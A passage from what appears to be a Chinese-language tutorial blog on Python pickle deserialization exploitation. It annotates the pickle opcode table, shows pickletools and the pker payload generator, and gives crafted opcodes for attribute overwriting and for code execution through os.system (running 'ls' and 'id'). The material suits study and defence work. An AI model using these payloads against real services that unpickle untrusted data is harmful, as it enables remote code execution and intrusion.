1-character pickle code.</span><br><span class="line"># pickletools groups them by purpose.</span><br><span class="line"># 说明:</span><br><span class="line"># 1.如果对栈顶元素只说了取出,而没有说弹出的话那就说明只是将栈顶元素复制一份放到一个变量或者就是后面的操作对栈顶元素进行更新修改,但是这个栈顶元素是不会弹出的</span><br><span class="line"># 2.部分说明中对数据进行操作先弹出然后进行操作再进行压栈,但是对照源码可能是对栈数组直接进行直接截取而并没有pop弹出或者append的压栈操作,我这里描述为弹出和压栈的过程是为了便于理解</span><br><span class="line"># 3.用于指定后面需要读取的数据大小的字节读出来之后,有可能是按照字符字面大小读取,也可能是按照其16进制大小进行数据读取,例如字符&#x27;1&#x27;=&#x27;\x31&#x27;,0x31=49可能是读取1字节大小也肯能是读取49字节大小,注意我的注释描述</span><br><span class="line"># 4._struct.unpack解压&lt;i格式数据的时候需要传入4字节大小的数据,然后会把4个字节左右顺序调换,得到一个8位的16进制数,最后将其转为一个10进制整数,例如_struct.unpack(&#x27;&lt;i&#x27;, b&#x27;\x00\x01\x00\x00&#x27;)[0]=&gt;0x00001000=&gt;256</span><br><span class="line"># 5.struct.unpack解压&lt;Q格式数据则是需要传入8字节大小数据,转换操作同上,例如unpack(&#x27;&lt;Q&#x27;, b&#x27;\x00\x01\x00\x00\x00\x00\x00\x00&#x27;)[0] =&gt; 0x0000000000000100 =&gt; 256</span><br><span class="line">MARK           = b&#x27;(&#x27;   #向栈中压入一个Mark标记</span><br><span class="line">STOP           = b&#x27;.&#x27;   #相当于停止当前的反序列化过程</span><br><span class="line">POP            = b&#x27;0&#x27;   #从栈中pop出一个元素,就是删除栈顶元素</span><br><span class="line">POP_MARK       = b&#x27;1&#x27;   #从栈中不断pop元素直到遇到Mark标记</span><br><span class="line">DUP            = b&#x27;2&#x27;   #向栈中再压入一个当前的栈顶元素,就是复制一份当前栈顶元素然后进行压栈</span><br><span class="line">FLOAT          = b&#x27;F&#x27;   #读取当前行到行末尾,然后转为float类型,向栈中压入一个float浮点数</span><br><span class="line">INT            = b&#x27;I&#x27;   #向栈中压入一个int整数,整数就是当前行的最后一个字节,不过如果整数为01的时候压入的是True,为00的时候压入的是False</span><br><span class="line">BININT         = b&#x27;J&#x27;   #从后面的输入中读取4个字节并且使用unpack通过&#x27;&lt;i&#x27;的格式将4字节的buffer数据解包转为int类型,后面不能换行,直接家下一步的操作b&quot;(S&#x27;a&#x27;\nK\x01\x01\x01\x01.&quot;</span><br><span class="line">BININT1        = b&#x27;K&#x27;   #和上面BININT一样,不过K操作只读取一个字节的数据b&quot;(S&#x27;a&#x27;\nK\x01.&quot;</span><br><span class="line">LONG           = b&#x27;L&#x27;   #读取当前行到行末尾,然后转为int类型,但如果后面是字符L的话会先去掉最后一个字符L再转int</span><br><span class="line">BININT2        = b&#x27;M&#x27;   #从后面的输入中读取2个字节并且使用unpack通过&#x27;&lt;H&#x27;的格式将2字节的buffer作为一个2进制数解包为int,后面不能换行,直接加下一步的操作b&quot;(S&#x27;a&#x27;\nM\x01\x01.&quot;</span><br><span class="line">NONE           = b&#x27;N&#x27;   #向栈中压入一个None元素,后面不能换行,直接加下一步的操作b&quot;(S&#x27;a&#x27;\nN.&quot;</span><br><span class="line">PERSID         = b&#x27;P&#x27;   #读取当前行到行末尾,将读取到的数据作为id,通过persistent_load函数获得obj对象返回后将obj对象压栈,默认情况没用,要重写persistent_load函数才能生效</span><br><span class="line">BINPERSID      = b&#x27;Q&#x27;   #和上面作用一样,从当前栈中弹出一个元素作为id,通过persistent_load...</span><br><span class="line">REDUCE         = b&#x27;R&#x27;   #从当前栈中弹出两次元素,第一次是函数参数args,第二次是函数func,执行func(args)</span><br><span class="line">STRING         = b&#x27;S&#x27;   #向栈中压入一个string字符串,内容就是后面的数据,后面的字符串第一个和最后一个必须是单引号b&quot;(S&#x27;a&#x27;\nS&#x27;&#x27;a&#x27;&#x27;\n.&quot;</span><br><span class="line">BINSTRING      = b&#x27;T&#x27;   #从后面数据读取4字节数据,通过unpack使用&lt;i格式将数据解压后变为int类型, 然后将其作为一个长度, 后面读取这个指定长度的数据作为字符串进行压栈b&quot;(S&#x27;a&#x27;\nT\x10\x00\x00\x000123456789abcdef.&quot;</span><br><span class="line"># _struct.unpack(&#x27;&lt;i&#x27;, b&quot;\x10\x00\x00\x00&quot;) =&gt; (16,)</span><br><span class="line">SHORT_BINSTRING= b&#x27;U&#x27;   #先读取一个字节数据作为长度,然后按照这个长度读取字符串,读出的字符串压栈</span><br><span class="line">UNICODE        = b&#x27;V&#x27;   #读出当前行后面的全部数据,然后进行Unicode解码,将解码内容压栈b&#x27;V\\u0061\n.&#x27;</span><br><span class="line">BINUNICODE     = b&#x27;X&#x27;   #读出4字节数据通过unpack使用&lt;I格式解压,将解压得到的数据作为长度,然后进行数据读取b&#x27;X\x10\x00\x00\x00abcdef0123456789.&#x27;</span><br><span class="line">APPEND         = b&#x27;a&#x27;   #先pop出栈一个变量var1,然后获取当前栈顶元素var2,执行栈顶元素的append函数,就是将一开始的栈顶元素弹出,然后又加到下一个栈顶数组中b&quot;]S&#x27;S1nKk&#x27;\na.&quot; =&gt; 得到[&#x27;S1nKk&#x27;]</span><br><span class="line">BUILD          = b&#x27;b&#x27;   #这个操作就是设置元素属性的操作</span><br><span class="line"># 先pop出栈一个变量var1,然后获取当前栈顶元素var2,获取var2的__setstate__子成员作为var3,如果var3非空,那就执行var3(var1),这个操作正常就是通过__setstate__设置变量的属性</span><br><span class="line"># 但是上面的var3为空也有别的处理:</span><br><span class="line"># 1.检查var1是否为tuple类型且长度为2,如果是的话那就将其分别赋值为state,slotstate</span><br><span class="line"># 2.检查state是否为空,如果不为空尝试取出state.items()然后使用k,v键值对的方式便利,最后通过修改var2.__dict__的方式修改var2的属性,也就是使得var2[k]=v,var2.k=v</span><br><span class="line"># 3.检查slotstate是否为空,如果不为空和第2步一样,取出slotstate.items()通过k,v键值对方式遍历,然后使用setattr方法设置var2属性,最后效果也是var2[k]=v,var2.k=v</span><br><span class="line">GLOBAL         = b&#x27;c&#x27;   #导入一个模块,首先读取当前行后面的全部内容适应utf-8解码得到的字符串作为module,然后再读出下一行的内容同样解析出字符串作为那么,最后导入module.name这个包</span><br><span class="line">DICT           = b&#x27;d&#x27;   #将栈中的数据弹出到上一个Mark为止,然后按照key:value的方式逐个解析然后放入到一个字典中,将最后得到的字典压栈b&quot;(S&#x27;key1&#x27;\nS&#x27;val1&#x27;\nS&#x27;key2&#x27;\nS&#x27;val2&#x27;\nd.&quot; =&gt; &#123;&#x27;key1&#x27;: &#x27;val1&#x27;, &#x27;key2&#x27;: &#x27;val2&#x27;&#125;</span><br><span class="line">EMPTY_DICT     = b&#x27;&#125;&#x27;   #没什么好说的,就是往栈中压入一个空字典</span><br><span class="line">APPENDS        = b&#x27;e&#x27;   #先将栈中元素不断弹出知道Mark标记,然后将弹出的全部元素放入items中,再取出栈顶作为list_obj,之后执行下面两步操作:</span><br><span class="line"># 1.先取出extend=list_obj.extend,然后执行extend(items)</span><br><span class="line"># 2.取出append = list_obj.append,然后使用for循环遍历items得到item,然后每次循环都执行一次append(item)</span><br><span class="line"># 看到这里应该想到函数触发的方法,我们只需要使用b操作将list_obj的extend改为一个危险的函数方法,然后再让参数进入items,就可以通过extend(items)的方式调用任意构造的危险函数了</span><br><span class="line">GET            = b&#x27;g&#x27;   #读取后面的全部本行数据,然后转为int类型放入变量i中,使用i作为索引,从缓存区取出数据mem[i],然后将这个从缓存中取出的变量压栈</span><br><span class="line">BINGET         = b&#x27;h&#x27;   #后面读取一个字节的数据,然后使用字符16进制大小作为下标索引,从缓存mem中读数据,将读出的内容压栈,下面就是一个获取缓存中下标为1的数据的实例b&quot;S&#x27;h0cksr&#x27;\np1\nS&#x27;t&#x27;\n0h\x01.&quot;</span><br><span class="line">INST           = b&#x27;i&#x27;   #两次pop出栈读出数据并且均进行解码操作使其变为字符串格式,</span><br><span class="line"># 1. 第一第二次弹出的数据分别放入module和name中,先导入moudle模块,然后name通过.逐个获取出里面的子成员,最后返回目标子成员(可能是函数也可能是类或变量)var1</span><br><span class="line"># 2. 继续进行出栈,直到遇到Mark标志,将出栈的数据作为参数,var1位方法,执行var1(Mark弹出数据)</span><br><span class="line"># 3. 将生成的实例化对象压栈</span><br><span class="line">LONG_BINGET    = b&#x27;j&#x27;   #先读出4字节大小数据流,然后通过unpack使用&lt;I格式解压得到int类型数据i,将i作为下标,从缓存中获取变量mem[i],将获取到的数据压栈</span><br><span class="line">LIST           = b&#x27;l&#x27;   #将上一次Mark之后的数据全部弹出,并且将其存放到一个数组中,然后在将这个数组压栈b&quot;(S&#x27;S1nKk&#x27;\np1\nS&#x27;t&#x27;\nl.&quot;</span><br><span class="line">EMPTY_LIST     = b&#x27;]&#x27;   #没什么好说,往栈中压入一个空数组</span><br><span class="line">OBJ            = b&#x27;o&#x27;   #先是将上一次Mark之后的数据全部弹出,得到一个数组var1,然后又在var1中pop取出最后一个数据作为var2,之后执行以下过程:</span><br><span class="line"># 1.检查弹出数据后的var1数组是否为空,如果var1非空,或者弹出的var2属于type类型,或者弹出的var2有__getinitargs__属性成员,那么就会执行var2(var1)</span><br><span class="line"># 2.如果以上条件均不满足,那就执行var2.__new__(var2)</span><br><span class="line"># 3.将执行结果压入栈中</span><br><span class="line">PUT            = b&#x27;p&#x27;   #读取后面全部当前行的数据,然后转为int类型的变量i,然后赋值当前栈顶元素存到memo[i]中</span><br><span class="line">BINPUT         = b&#x27;q&#x27;   #和上一个一样,不同的是下标i是通过读取1个字节的数据,然后直接当做下标</span><br><span class="line">LONG_BINPUT    = b&#x27;r&#x27;   #和上一个一样,不同的是下标i是通过读取4个字节的数据,然后通过unpack使用&lt;I模式解压得到的整数当做下标</span><br><span class="line">SETITEM        = b&#x27;s&#x27;   #先在栈中pop弹出第一个数据作为value,然后在pop弹出第二个元素作为key,再获取当前栈顶元素记为dict,给栈顶元素赋值dict[key]=value</span><br><span class="line">TUPLE          = b&#x27;t&#x27;   #弹出上一次Mark之后的全部数据大农一个list数组中,然后使用tuple函数将其转为元组格式再把这个元组压入栈中</span><br><span class="line">EMPTY_TUPLE    = b&#x27;)&#x27;   #没什么好说,往栈中压入一个空元组</span><br><span class="line">SETITEMS       = b&#x27;u&#x27;   #先弹出上一次Mark之后的全部元素放入一个数组items中,然后获取栈顶元素记为dict,通过i=0,2,3...获取items中的数据,执行dict[items[i]] = items[i + 1]给栈顶的字典元素添加键值对</span><br><span class="line">BINFLOAT       = b&#x27;G&#x27;   #先读取8字节数据,然后使用unpack通过&lt;d格式的解压,将得到的float数据压栈</span><br><span class="line"></span><br><span class="line">TRUE           = b&#x27;I01\n&#x27;  # not an opcode; see INT docs in pickletools.py</span><br><span class="line">FALSE          = b&#x27;I00\n&#x27;  # not an opcode; see INT docs in pickletools.py</span><br><span class="line"></span><br><span class="line"># Protocol 2</span><br><span class="line"></span><br><span class="line">PROTO          = b&#x27;\x80&#x27;  #用于声明pickle协议版本</span><br><span class="line">NEWOBJ         = b&#x27;\x81&#x27;#(这个很有用)  #从栈中弹出两次变量,第一次弹出的变量记为var1,第二次弹出的变量记为var2,然后就会通过cls.__new__(var2, *var1)生成实例化对象,然后将生成的对象压栈</span><br><span class="line">EXT1           = b&#x27;\x82&#x27;  #&#x27;&#x27;&#x27;\x82,\x83,\x84这三个操作都是和extension registry扩展注册表有关的,但是拓展注册表主要维护4个从copyreg导入的映射字典</span><br><span class="line">EXT2           = b&#x27;\x83&#x27;  #     dispatch_tablecopyreg, _extension_registry, _inverted_registry, _extension_cache</span><br><span class="line">EXT4           = b&#x27;\x84&#x27;  #     但是从头到尾貌似这几个核心表单都没有发生过变化(也可能是我没注意到而已)&#x27;&#x27;&#x27;</span><br><span class="line">TUPLE1         = b&#x27;\x85&#x27;  #将栈顶元素弹出放到一个元组中再将这个元组压栈,就是将栈顶放到一个元组里面的作用b&quot;S&#x27;S1nk&#x27;\n\x85.&quot; =&gt; (&#x27;S1nk&#x27;,)</span><br><span class="line">TUPLE2         = b&#x27;\x86&#x27;  #将栈顶的两个元素弹出,栈顶弹出为var1,继续弹出一个为var2,然后组成一个元组然后将这个元组压栈,得到(var2,var1),b&quot;S&#x27;S1nk&#x27;\nS&#x27;S1nKk&#x27;\n\x86.&quot; =&gt; (&#x27;S1nk&#x27;, &#x27;S1nKk&#x27;)</span><br><span class="line">TUPLE3         = b&#x27;\x87&#x27;  #和上面一样,不够该操作是弹出三个元素形成元组b&quot;S&#x27;S1nK&#x27;\nS&#x27;S11nK&#x27;\nS&#x27;S111nK&#x27;\n\x87.&quot; =&gt; (&#x27;S1nK&#x27;, &#x27;S11nK&#x27;, &#x27;S111nk&#x27;)</span><br><span class="line">NEWTRUE        = b&#x27;\x88&#x27;  #向栈中压入一个True</span><br><span class="line">NEWFALSE       = b&#x27;\x89&#x27;  #向栈中压入一个False</span><br><span class="line">LONG1          = b&#x27;\x8a&#x27;  #先读取一个字节,以该字节16进制数为大小size,从后面的数据读取size个字节,然后将读取到的数据转为long类型</span><br><span class="line">LONG4          = b&#x27;\x8b&#x27;  #读取4字节数据,通过unpack的&lt;i格式将数据解压得到一个整数,以这个整数为字节大小读取后面的数据</span><br><span class="line"></span><br><span class="line">_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]#就是元组操作合集,分别是向栈中压入空数组,将最后1个元素放入元组后将元组压栈,将最后2个元素放入元组后将元组压栈,将最后3个元素放入元组后将元组压栈</span><br><span class="line"></span><br><span class="line"># Protocol 3 (Python 3.x)#这里要注意一下,后面的操作是有python3方才支持</span><br><span class="line"></span><br><span class="line">BINBYTES       = b&#x27;B&#x27;   #先读取4字节数据通过unpack使用&lt;i格式将数据解压,将得到的结果作为大小向后读取相应字节数,然后将读取到的全部字节压栈,注意一下,压栈的是原始的比特流数据b&#x27;B\x06\x00\x00\x00h0cksr.&#x27; =&gt; b&#x27;S1nKk&#x27;</span><br><span class="line">SHORT_BINBYTES = b&#x27;C&#x27;   #读取一个字节,以它的16进制数作为大小向后读取对应字节的数据b&#x27;C\x06h0cksr.&#x27; =&gt; b&#x27;S1nKk&#x27;</span><br><span class="line"></span><br><span class="line"># Protocol 4</span><br><span class="line">SHORT_BINUNICODE = b&#x27;\x8c&#x27;  #先读取一个字节,以这个字节的16进制为大小向后读取对应字节的数据,然后使用utf-8的格式解码数据为字符串格式,然后将这个字符串压栈b&#x27;\x8c\x06S1nKk.&#x27; =&gt; S1nKk</span><br><span class="line">BINUNICODE8      = b&#x27;\x8d&#x27;  #先读取8字节数据然后通过unpack使用&lt;Q格式解压数据,将得到的结果作为大小向后读取相应字节数,然后将读取到的数据使用utf-8格式解压为字符串,将字符串压栈b&#x27;\x8d\x06\x00\x00\x00\x00\x00\x00\x00h0cksr.&#x27; =&gt; h0cksr</span><br><span class="line">BINBYTES8        = b&#x27;\x8e&#x27;  #同上读取8字节数据&lt;Q格式解压,然后读取数据,但是直接将比特流数据压栈而不会解码b&#x27;\x8e\x06\x00\x00\x00\x00\x00\x00\x00S1nKk.&#x27; =&gt; b&#x27;S1nKk&#x27;</span><br><span class="line">EMPTY_SET        = b&#x27;\x8f&#x27;  #向栈中压入一个set类型的空集合(set()没有指定iterable的时候返回的是一个空集合)</span><br><span class="line">ADDITEMS         = b&#x27;\x90&#x27;  #先pop弹出一个元素作为items,记栈顶元素为top,然后检查top是否为set类型,如果是的话就执行top.update(items),如果top不是set类型那就使用for遍历items,逐个执行top.add(item)</span><br><span class="line">FROZENSET        = b&#x27;\x91&#x27;  #弹出栈顶元素作为items,然后执行frozenset(items)生成一个frozenset类型的变量,并将这个变量压栈</span><br><span class="line">NEWOBJ_EX        = b&#x27;\x92&#x27;#(这个很有用)  #和NEWOBJ差不多,先从栈中弹出三个元素,第一个,第二个,第三个弹出的元素分别记为var1,var2,var3,然后执行cls.__new__(var3, *var2, **var1)之后将执行生成的对象压栈</span><br><span class="line">STACK_GLOBAL     = b&#x27;\x93&#x27;#(这个很有用)  #和GLOBAL操作一样但是导入的模块从栈上获取,先弹出一个元素为name,然后再弹出一个元素moudle,要求两个元素都必须是字符串类型,然后到处moudle.name,在将导出的内容压栈b&quot;S&#x27;os&#x27;\nS&#x27;system&#x27;\n\x93.&quot; =&gt; os.system</span><br><span class="line">MEMOIZE          = b&#x27;\x94&#x27;  #将当前栈顶元素添加到缓存列表的末尾(注意栈顶不会弹出)</span><br><span class="line">FRAME            = b&#x27;\x95&#x27;  #后面先是读取8字节数据通过unpack使用&lt;Q格式将数据解压得到的结果作为大小,向后读取对应字节的数据,然后将读取到的数据进行正常pickle反序列化(感觉用不用这个操作没啥差别,但是细节差别的话看源码)</span><br></pre></td></tr></table></figure></div><h4 id="pickletools的使用"><a class="markdownIt-Anchor" href="#pickletools的使用">#</a> pickletools 的使用</h4><p>pickletools 是 python 的一个内建模块，常用的方法有 <code>pickletools.dis()</code> , 用于把一段 opcode 转换为易读的形式，如</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pickletools</span><br><span class="line"></span><br><span class="line">opcode = <span class="string">b&#x27;&#x27;&#x27;c__main__</span></span><br><span class="line"><span class="string">secret</span></span><br><span class="line"><span class="string">(S&#x27;secret&#x27;</span></span><br><span class="line"><span class="string">S&#x27;Hack!!!&#x27;</span></span><br><span class="line"><span class="string">db.&#x27;&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line">pickletools.dis(opcode)</span><br></pre></td></tr></table></figure></div><p>输出</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">0: c    GLOBAL     &#x27;__main__ secret&#x27;</span><br><span class="line">   17: (    MARK</span><br><span class="line">   18: S        STRING     &#x27;secret&#x27;</span><br><span class="line">   28: S        STRING     &#x27;Hack!!!&#x27;</span><br><span class="line">   39: d        DICT       (MARK at 17)</span><br><span class="line">   40: b    BUILD</span><br><span class="line">   41: .    STOP</span><br><span class="line">highest protocol among opcodes = 0</span><br></pre></td></tr></table></figure></div><h4 id="pker的使用"><a class="markdownIt-Anchor" href="#pker的使用">#</a> pker 的使用</h4><p>pker 是一个可以把 python 语言翻译成 opcode 的工具.</p><p>pker 支持这三种操作</p><ul><li>变量赋值：<ul><li>左值可以是变量名，dict 或 list 的 item，对象成员</li><li>右值可以是基础类型字面量，函数调用</li></ul></li><li>函数调用</li><li>return：可返回 0~1 个参数</li></ul><p>pker 内置了三个函数</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">GLOBAL(&#x27;os&#x27;, &#x27;system&#x27;)             =&gt;  cos\nsystem\n</span><br><span class="line">INST(&#x27;os&#x27;, &#x27;system&#x27;, &#x27;ls&#x27;)         =&gt;  (S&#x27;ls&#x27;\nios\nsystem\n</span><br><span class="line">OBJ(GLOBAL(&#x27;os&#x27;, &#x27;system&#x27;), &#x27;ls&#x27;)  =&gt;  (cos\nsystem\nS&#x27;ls&#x27;\no</span><br></pre></td></tr></table></figure></div><p>可以用 return 返回一个对象</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">return</span>           =&gt;  .</span><br><span class="line"><span class="keyword">return</span> var       =&gt;  g_\n.</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span>         =&gt;  I1\n.</span><br><span class="line"><span class="comment">#pker_test.py</span></span><br><span class="line"></span><br><span class="line">i = <span class="number">0</span></span><br><span class="line">s = <span class="string">&#x27;id&#x27;</span></span><br><span class="line">lst = [i]</span><br><span class="line">tpl = (<span class="number">0</span>,)</span><br><span class="line">dct = &#123;tpl: <span class="number">0</span>&#125;</span><br><span class="line">system = GLOBAL(<span class="string">&#x27;os&#x27;</span>, <span class="string">&#x27;system&#x27;</span>)</span><br><span class="line">system(s)</span><br><span class="line"><span class="keyword">return</span></span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#命令行下</span></span><br><span class="line"></span><br><span class="line">$ python3 pker.py &lt; pker_tests.py</span><br><span class="line">b<span class="string">&quot;I0\np0\n0S&#x27;id&#x27;\np1\n0(g0\nlp2\n0(I0\ntp3\n0(g3\nI0\ndp4\n0cos\nsystem\np5\n0g5\n(g1\ntR.&quot;</span></span><br></pre></td></tr></table></figure></div><h3 id="利用"><a class="markdownIt-Anchor" href="#利用">#</a> 利用</h3><h4 id="变量覆盖"><a class="markdownIt-Anchor" href="#变量覆盖">#</a> 变量覆盖</h4><p>假设存在类 <code>Secret</code> , 类有一个 <code>name</code>  属性，那我们可以通过 pickle 反序列化修改这个属性的值.</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pickle</span><br><span class="line"><span class="keyword">import</span> pickletools</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Secret</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, name</span>):</span><br><span class="line">        self.name = name</span><br><span class="line"></span><br><span class="line">s=Secret(<span class="string">&quot;S1nKk&quot;</span>)</span><br><span class="line">opcode=<span class="string">b&quot;&quot;&quot;c__main__</span></span><br><span class="line"><span class="string">s</span></span><br><span class="line"><span class="string">(S&#x27;name&#x27;</span></span><br><span class="line"><span class="string">S&#x27;Funny_M0nk3y&#x27;</span></span><br><span class="line"><span class="string">db.&quot;&quot;&quot;</span></span><br><span class="line">pickle.loads(opcode)</span><br><span class="line"><span class="built_in">print</span>(s.name)</span><br><span class="line"><span class="comment"># pickletools.dis(opcode)</span></span><br></pre></td></tr></table></figure></div><p>逐行解读一下 opcode</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">opcode=<span class="string">b&quot;&quot;&quot;c__main__</span></span><br><span class="line"><span class="string">s#向栈中压入被实例化的s</span></span><br><span class="line"><span class="string">(S&#x27;name&#x27;#压入一个MARK,再压入一个&#x27;name&#x27;字符串</span></span><br><span class="line"><span class="string">S&#x27;Funny_M0n3ky&#x27;#压入一个ghd</span></span><br><span class="line"><span class="string">db.&quot;&quot;&quot;</span></span><br><span class="line"><span class="comment">#d操作符弹出&#x27;name&#x27;和ghd,压入一个字典&#123;name:Funny_M0nk3y&#125;</span></span><br><span class="line"><span class="comment">#b操作符弹出字典,并用字典中的键值对&#123;name:Funny_M0nk3y&#125;给s赋值(相当于执行了s的__init__),完成了篡改</span></span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410201302361.png" alt="image-20241020130236264"></p><p><code>c__main__</code> : 表示当前模块是 <code>__main__</code> 。</p><p><code>s</code> : 表示后面要存储字符串。</p><p><code>(S'name' S'Hu14T0n' db.</code> :</p><ul><li><code>S'name'</code> : 这个字符串表示一个变量名。</li><li><code>S'Hu14T0n'</code> : 这是变量的值。</li><li><code>d</code> : 表示结束，通常用于表示字典的结尾。</li></ul><h4 id="rce"><a class="markdownIt-Anchor" href="#rce">#</a> RCE</h4><p>哎，宇宙的尽头就是个巨大的二进制，分析过程看的云里雾里</p><p>直接搞 payload 了，当脚本小子</p><h5 id="c操作符"><a class="markdownIt-Anchor" href="#c操作符">#</a>  <code>c</code>  操作符</h5><p>先提一下用的最多的 <code>c</code>  操作符，其中 <code>find_class()</code>  函数很关键，在对危险函数的过滤和绕过中也会提到这个函数.</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">load_global</span>(<span class="params">self</span>):</span><br><span class="line">    module = self.readline()[:-<span class="number">1</span>].decode(<span class="string">&quot;utf-8&quot;</span>)</span><br><span class="line">    name = self.readline()[:-<span class="number">1</span>].decode(<span class="string">&quot;utf-8&quot;</span>)<span class="comment">#获取moudle和name</span></span><br><span class="line">    klass = self.find_class(module, name)<span class="comment">#使用find_class()获取函数</span></span><br><span class="line">    self.append(klass)<span class="comment">#压栈</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">find_class</span>(<span class="params">self, module, name</span>):</span><br><span class="line">    <span class="comment"># Subclasses may override this.</span></span><br><span class="line">    sys.audit(<span class="string">&#x27;pickle.find_class&#x27;</span>, module, name)</span><br><span class="line">    <span class="keyword">if</span> self.proto &lt; <span class="number">3</span> <span class="keyword">and</span> self.fix_imports:</span><br><span class="line">        <span class="keyword">if</span> (module, name) <span class="keyword">in</span> _compat_pickle.NAME_MAPPING:</span><br><span class="line">            module, name = _compat_pickle.NAME_MAPPING[(module, name)]</span><br><span class="line">        <span class="keyword">elif</span> module <span class="keyword">in</span> _compat_pickle.IMPORT_MAPPING:</span><br><span class="line">            module = _compat_pickle.IMPORT_MAPPING[module]</span><br><span class="line">    <span class="built_in">__import__</span>(module, level=<span class="number">0</span>)</span><br><span class="line">    <span class="keyword">if</span> self.proto &gt;= <span class="number">4</span>:</span><br><span class="line">        <span class="keyword">return</span> _getattribute(sys.modules[module], name)[<span class="number">0</span>]</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">getattr</span>(sys.modules[module], name)</span><br></pre></td></tr></table></figure></div><p><code>c</code>  操作符把 <code>find_class()</code>  函数返回的一个类对象压入栈，通过 <code>__import__()</code>  引入了模块并且通过 <code>self.proto</code>  判断 pickle 版本处理了不同版本的函数名称问题.</p><h5 id="r操作符"><a class="markdownIt-Anchor" href="#r操作符">#</a>  <code>R</code>  操作符</h5><p>e.g.</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">cos</span><br><span class="line">system <span class="comment">#用c操作符引入os.system,也就是把os.system压入栈</span></span><br><span class="line">(S<span class="string">&#x27;ls&#x27;</span> <span class="comment">#先把MARK压入栈,再把ls压入栈</span></span><br><span class="line">tR. <span class="comment">#t操作符把ls出栈,元组(ls)入栈</span></span><br><span class="line">    <span class="comment">#R操作符把元组作为os.system的参数传入并执行</span></span><br><span class="line">&lt;=&gt; <span class="built_in">__import__</span>(<span class="string">&#x27;os&#x27;</span>).system(*(<span class="string">&#x27;ls&#x27;</span>,))</span><br></pre></td></tr></table></figure></div><h5 id="o操作符"><a class="markdownIt-Anchor" href="#o操作符">#</a>  <code>o</code>  操作符</h5><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">load_obj</span>(<span class="params">self</span>):</span><br><span class="line">    <span class="comment"># Stack is ... markobject classobject arg1 arg2 ...</span></span><br><span class="line">    args = self.pop_mark()</span><br><span class="line">    cls = args.pop(<span class="number">0</span>)</span><br><span class="line">    self._instantiate(cls, args)</span><br></pre></td></tr></table></figure></div><p>寻找栈中的上一个 MARK，以之间的第一个数据（必须为函数）为 callable，第二个到第 n 个数据为参数，执行该函数（或实例化一个对象）</p><h5 id="i操作符"><a class="markdownIt-Anchor" href="#i操作符">#</a>  <code>i</code>  操作符</h5><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">load_inst</span>(<span 